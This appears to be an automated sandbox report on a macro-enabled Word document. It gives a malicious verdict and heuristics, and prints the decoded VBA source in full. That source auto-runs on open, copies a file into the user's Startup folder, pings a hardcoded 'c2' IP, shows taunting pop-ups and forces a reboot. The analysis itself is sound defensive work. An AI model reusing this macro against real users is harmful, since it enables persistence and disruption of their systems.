MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a VBA macro that executes upon opening the document, as indicated by the Document_Open macro and Shell() call heuristics. The script attempts to establish communication by pinging the hardcoded IP address '123.123.132.1' and then initiates a system shutdown using the command 'shutdown /r /t 10'. The presence of VBA macros and the execution of arbitrary commands strongly suggest a malicious document designed to compromise the system.
Heuristics 7
-
VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- https://ocbcgroup-my.sharepoint.com/personal/a5121076_ocbcgroup_ocbc_com/Documents/AddendumIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2255 bytes |
SHA-256: f76a468ab2fc4f90a9d1febd222d96cb0545567d2375d268d8850d6dc0f749e6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim folderPath As String
Dim shellCommand As String
Dim c2 As String
c2 = "123.123.132.1"
Copy_File
shellCommand = "" & "ping " & c2 & ""
Call Shell(shellCommand, 0)
Call Shell(shellCommand, 2)
Call Shell(shellCommand, 0)
Call Shell(shellCommand, 2)
MsgBox "WHY YOU OPEN THE FILE", vbCritical, "(/°O°)/"
MsgBox "OPEN FILE NOT ENOUGH, STILL MUST ENABLE MACRO", vbCritical, "\(°O°\)"
MsgBox "WHY", vbCritical, "(/°O°)/"
'MsgBox "Please go the nearest T2 and apologise to him/her now and ask what to do", vbCritical, "\(°O°\)"
'MsgBox "Okay no choice you need to click through this since you anyhow open file and run macro", vbCritical, "(/°O°)/"
'MsgBox "5", vbCritical, "\(°O°\)"
'MsgBox "4", vbCritical, "(/°O°)/"
'MsgBox "3", vbCritical, "\(°O°\)"
'MsgBox "2", vbCritical, "(/°O°)/"
'MsgBox "1", vbCritical, "(/°O°)/"
'MsgBox "last one", vbCritical, "\(°O°\)"
'MsgBox "almost there", vbCritical, "(/°O°)/"
'MsgBox "ready to try again?", vbCritical, "\(°O°\)"
'MsgBox "okay one more", vbCritical, "(/°O°)/"
'MsgBox "alright thats it", vbCritical, "\(°O°\)"
'MsgBox "Please attempt the question again", vbCritical, "(/°O°)/"
shellCommand = "" & "shutdown /r /t 10" & ""
Call Shell(shellCommand, 0)
End Sub
Sub Copy_File()
Dim FSO As Object
Dim FromPath As String
Dim ToPath As String
Dim UserNameId As String
UserNameId = Environ("USERNAME")
FromPath = "\\fssg52\fileshar1\CSOC\Tier 1\animation.gif"
ToPath = "C:\Users\" & UserNameId & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
Set FSO = CreateObject("scripting.filesystemobject")
If FSO.FileExists(FromPath) Then
Call FSO.CopyFile(FromPath, ToPath, True)
End If
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11264 bytes |
SHA-256: b920686239718a9adaaa9bde2b567f9a33d80bf99fffffa0200f7c867e0a287e |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.